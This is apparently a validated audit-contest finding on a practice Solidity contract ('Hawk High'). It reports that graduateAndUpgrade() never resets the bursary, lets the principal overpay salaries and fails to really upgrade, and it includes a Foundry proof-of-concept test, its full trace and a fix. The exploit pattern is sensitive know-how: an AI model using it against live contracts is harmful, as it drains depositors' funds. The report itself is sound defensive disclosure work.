Hawk High

First Flight #39
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Bursary remains intact → graduateAndUpgrade allows unlimited charges

The function graduateAndUpgrade() distributes salaries based on the state variable bursary (100 % of the deposited tuition fees).
After completing the transfer:

  1. bursary is not reset to 0 nor adjusted to the actual balance.

  2. There is no flag (graduationDone) or require statement preventing a second execution.

The principal role — or an attacker who compromises their key — can invoke the function repeatedly, each time recalculating salaries on the original bursary value and draining the contract.


Impact

  • Total loss of funds deposited by the students.

  • Financial DoS: once the balance is depleted, any subsequent call will permanently revert.

  • Phantom upgrade: only _authorizeUpgrade() is invoked, so the logic never migrates to the secure version.


Proof of Concept

function test_doublePayrollDrain() public {
_teachersAdded();
_studentsEnrolled();
vm.prank(principal);
levelOneProxy.startSession(70);
vm.warp(block.timestamp + 4 weeks);
LevelTwo implV2 = new LevelTwo();
bytes memory data = abi.encodeCall(LevelTwo.graduate, ());
vm.prank(principal);
levelOneProxy.graduateAndUpgrade(address(implV2), data);
vm.prank(principal);
vm.expectRevert();
levelOneProxy.graduateAndUpgrade(address(implV2), data);
}

Output

❯ forge test --mt test_doublePayrollDrain -vvvv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https://book.getfoundry.sh/announcements for more information.
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/LeveOnelAndGraduateTest.t.sol:LevelOneAndGraduateTest
[PASS] test_doublePayrollDrain() (gas: 1373917)
Traces:
[1522117] LevelOneAndGraduateTest::test_doublePayrollDrain()
├─ [0] VM::startPrank(principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca])
│ └─ ← [Return]
├─ [78232] ERC1967Proxy::fallback(first_teacher: [0xeeEeC5A3afd714e3C63A0b1ef6d80722Bcc514b3])
│ ├─ [73258] LevelOne::addTeacher(first_teacher: [0xeeEeC5A3afd714e3C63A0b1ef6d80722Bcc514b3]) [delegatecall]
│ │ ├─ emit TeacherAdded(: first_teacher: [0xeeEeC5A3afd714e3C63A0b1ef6d80722Bcc514b3])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [49832] ERC1967Proxy::fallback(second_teacher: [0xb4c265c1f1d07474E3715F65724E8fa9d662BF0e])
│ ├─ [49358] LevelOne::addTeacher(second_teacher: [0xb4c265c1f1d07474E3715F65724E8fa9d662BF0e]) [delegatecall]
│ │ ├─ emit TeacherAdded(: second_teacher: [0xb4c265c1f1d07474E3715F65724E8fa9d662BF0e])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(first_student: [0x0e0C2a2596E7bCd5122Ae32390d8C0657fe5b879])
│ └─ ← [Return]
├─ [25298] MockUSDC::approve(ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000000 [5e21])
│ ├─ emit Approval(owner: first_student: [0x0e0C2a2596E7bCd5122Ae32390d8C0657fe5b879], spender: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 5000000000000000000000 [5e21])
│ └─ ← [Return] true
├─ [152722] ERC1967Proxy::fallback()
│ ├─ [152251] LevelOne::enroll() [delegatecall]
│ │ ├─ [31619] MockUSDC::transferFrom(first_student: [0x0e0C2a2596E7bCd5122Ae32390d8C0657fe5b879], ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000000 [5e21])
│ │ │ ├─ emit Transfer(from: first_student: [0x0e0C2a2596E7bCd5122Ae32390d8C0657fe5b879], to: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 5000000000000000000000 [5e21])
│ │ │ └─ ← [Return] true
│ │ ├─ emit Enrolled(: first_student: [0x0e0C2a2596E7bCd5122Ae32390d8C0657fe5b879])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(second_student: [0x662bE80E633b67Ad610e19fa00D6217Ebb6073BE])
│ └─ ← [Return]
├─ [25298] MockUSDC::approve(ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000000 [5e21])
│ ├─ emit Approval(owner: second_student: [0x662bE80E633b67Ad610e19fa00D6217Ebb6073BE], spender: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 5000000000000000000000 [5e21])
│ └─ ← [Return] true
├─ [83022] ERC1967Proxy::fallback()
│ ├─ [82551] LevelOne::enroll() [delegatecall]
│ │ ├─ [9719] MockUSDC::transferFrom(second_student: [0x662bE80E633b67Ad610e19fa00D6217Ebb6073BE], ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000000 [5e21])
│ │ │ ├─ emit Transfer(from: second_student: [0x662bE80E633b67Ad610e19fa00D6217Ebb6073BE], to: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 5000000000000000000000 [5e21])
│ │ │ └─ ← [Return] true
│ │ ├─ emit Enrolled(: second_student: [0x662bE80E633b67Ad610e19fa00D6217Ebb6073BE])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(third_student: [0xF238496034cA4D476743d590ff3A66def743F9be])
│ └─ ← [Return]
├─ [25298] MockUSDC::approve(ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000000 [5e21])
│ ├─ emit Approval(owner: third_student: [0xF238496034cA4D476743d590ff3A66def743F9be], spender: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 5000000000000000000000 [5e21])
│ └─ ← [Return] true
├─ [83022] ERC1967Proxy::fallback()
│ ├─ [82551] LevelOne::enroll() [delegatecall]
│ │ ├─ [9719] MockUSDC::transferFrom(third_student: [0xF238496034cA4D476743d590ff3A66def743F9be], ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000000 [5e21])
│ │ │ ├─ emit Transfer(from: third_student: [0xF238496034cA4D476743d590ff3A66def743F9be], to: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 5000000000000000000000 [5e21])
│ │ │ └─ ← [Return] true
│ │ ├─ emit Enrolled(: third_student: [0xF238496034cA4D476743d590ff3A66def743F9be])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(fourth_student: [0x8E4a21e39349dBb0178CC57ABF60EF8c78ea2680])
│ └─ ← [Return]
├─ [25298] MockUSDC::approve(ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000000 [5e21])
│ ├─ emit Approval(owner: fourth_student: [0x8E4a21e39349dBb0178CC57ABF60EF8c78ea2680], spender: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 5000000000000000000000 [5e21])
│ └─ ← [Return] true
├─ [83022] ERC1967Proxy::fallback()
│ ├─ [82551] LevelOne::enroll() [delegatecall]
│ │ ├─ [9719] MockUSDC::transferFrom(fourth_student: [0x8E4a21e39349dBb0178CC57ABF60EF8c78ea2680], ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000000 [5e21])
│ │ │ ├─ emit Transfer(from: fourth_student: [0x8E4a21e39349dBb0178CC57ABF60EF8c78ea2680], to: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 5000000000000000000000 [5e21])
│ │ │ └─ ← [Return] true
│ │ ├─ emit Enrolled(: fourth_student: [0x8E4a21e39349dBb0178CC57ABF60EF8c78ea2680])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(fifth_student: [0xA1bC13cEF3390113AcA9450673182D3BEC1ce6Dd])
│ └─ ← [Return]
├─ [25298] MockUSDC::approve(ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000000 [5e21])
│ ├─ emit Approval(owner: fifth_student: [0xA1bC13cEF3390113AcA9450673182D3BEC1ce6Dd], spender: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 5000000000000000000000 [5e21])
│ └─ ← [Return] true
├─ [83022] ERC1967Proxy::fallback()
│ ├─ [82551] LevelOne::enroll() [delegatecall]
│ │ ├─ [9719] MockUSDC::transferFrom(fifth_student: [0xA1bC13cEF3390113AcA9450673182D3BEC1ce6Dd], ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000000 [5e21])
│ │ │ ├─ emit Transfer(from: fifth_student: [0xA1bC13cEF3390113AcA9450673182D3BEC1ce6Dd], to: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 5000000000000000000000 [5e21])
│ │ │ └─ ← [Return] true
│ │ ├─ emit Enrolled(: fifth_student: [0xA1bC13cEF3390113AcA9450673182D3BEC1ce6Dd])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(six_student: [0x983Cec4DF373E6f3809b4483fEBf6C9469B0769b])
│ └─ ← [Return]
├─ [25298] MockUSDC::approve(ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000000 [5e21])
│ ├─ emit Approval(owner: six_student: [0x983Cec4DF373E6f3809b4483fEBf6C9469B0769b], spender: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 5000000000000000000000 [5e21])
│ └─ ← [Return] true
├─ [83022] ERC1967Proxy::fallback()
│ ├─ [82551] LevelOne::enroll() [delegatecall]
│ │ ├─ [9719] MockUSDC::transferFrom(six_student: [0x983Cec4DF373E6f3809b4483fEBf6C9469B0769b], ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000000 [5e21])
│ │ │ ├─ emit Transfer(from: six_student: [0x983Cec4DF373E6f3809b4483fEBf6C9469B0769b], to: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 5000000000000000000000 [5e21])
│ │ │ └─ ← [Return] true
│ │ ├─ emit Enrolled(: six_student: [0x983Cec4DF373E6f3809b4483fEBf6C9469B0769b])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::prank(principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca])
│ └─ ← [Return]
├─ [50532] ERC1967Proxy::fallback(70)
│ ├─ [50058] LevelOne::startSession(70) [delegatecall]
│ │ ├─ emit SchoolInSession(startTime: 1, endTime: 2419201 [2.419e6])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::warp(2419201 [2.419e6])
│ └─ ← [Return]
├─ [445078] → new LevelTwo@0x2e234DAe75C793f67A35089C9d99245E1C58470b
│ └─ ← [Return] 2223 bytes of code
├─ [0] VM::prank(principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca])
│ └─ ← [Return]
├─ [84129] ERC1967Proxy::fallback(LevelTwo: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 0xd3618cca)
│ ├─ [83640] LevelOne::graduateAndUpgrade(LevelTwo: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 0xd3618cca) [delegatecall]
│ │ ├─ [25750] MockUSDC::transfer(first_teacher: [0xeeEeC5A3afd714e3C63A0b1ef6d80722Bcc514b3], 10500000000000000000000 [1.05e22])
│ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], to: first_teacher: [0xeeEeC5A3afd714e3C63A0b1ef6d80722Bcc514b3], value: 10500000000000000000000 [1.05e22])
│ │ │ └─ ← [Return] true
│ │ ├─ [25750] MockUSDC::transfer(second_teacher: [0xb4c265c1f1d07474E3715F65724E8fa9d662BF0e], 10500000000000000000000 [1.05e22])
│ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], to: second_teacher: [0xb4c265c1f1d07474E3715F65724E8fa9d662BF0e], value: 10500000000000000000000 [1.05e22])
│ │ │ └─ ← [Return] true
│ │ ├─ [25750] MockUSDC::transfer(principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca], 1500000000000000000000 [1.5e21])
│ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], to: principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca], value: 1500000000000000000000 [1.5e21])
│ │ │ └─ ← [Return] true
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::prank(principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca])
│ └─ ← [Return]
├─ [0] VM::expectRevert(custom error 0xf4844814)
│ └─ ← [Return]
├─ [6010] ERC1967Proxy::fallback(LevelTwo: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 0xd3618cca)
│ ├─ [5508] LevelOne::graduateAndUpgrade(LevelTwo: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 0xd3618cca) [delegatecall]
│ │ ├─ [1541] MockUSDC::transfer(first_teacher: [0xeeEeC5A3afd714e3C63A0b1ef6d80722Bcc514b3], 10500000000000000000000 [1.05e22])
│ │ │ └─ ← [Revert] ERC20InsufficientBalance(0x90193C961A926261B756D1E5bb255e67ff9498A1, 7500000000000000000000 [7.5e21], 10500000000000000000000 [1.05e22])
│ │ └─ ← [Revert] ERC20InsufficientBalance(0x90193C961A926261B756D1E5bb255e67ff9498A1, 7500000000000000000000 [7.5e21], 10500000000000000000000 [1.05e22])
│ └─ ← [Revert] ERC20InsufficientBalance(0x90193C961A926261B756D1E5bb255e67ff9498A1, 7500000000000000000000 [7.5e21], 10500000000000000000000 [1.05e22])
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.21ms (1.04ms CPU time)
Ran 1 test suite in 2.27s (3.21ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

bool private graduationDone;
function graduateAndUpgrade(address newImpl, bytes calldata data)
external onlyPrincipal
{
require(!graduationDone, "already graduated");
_distributeSalaries(); // pone bursary en 0 internamente
bursary = 0;
graduationDone = true;
_upgradeToAndCallUUPS(newImpl, data, false); // upgrade real
}
  • Añadir flag graduationDone o verificaciones sobre bursary == 0.

  • Proteger el rol principal con multisig / timelock para mitigar abuso o compromiso de clave.

Updates

Lead Judging Commences

yeahchibyke Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

bursary not updated

The bursary is not updated after wages have been paid in `graduateAndUpgrade()` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.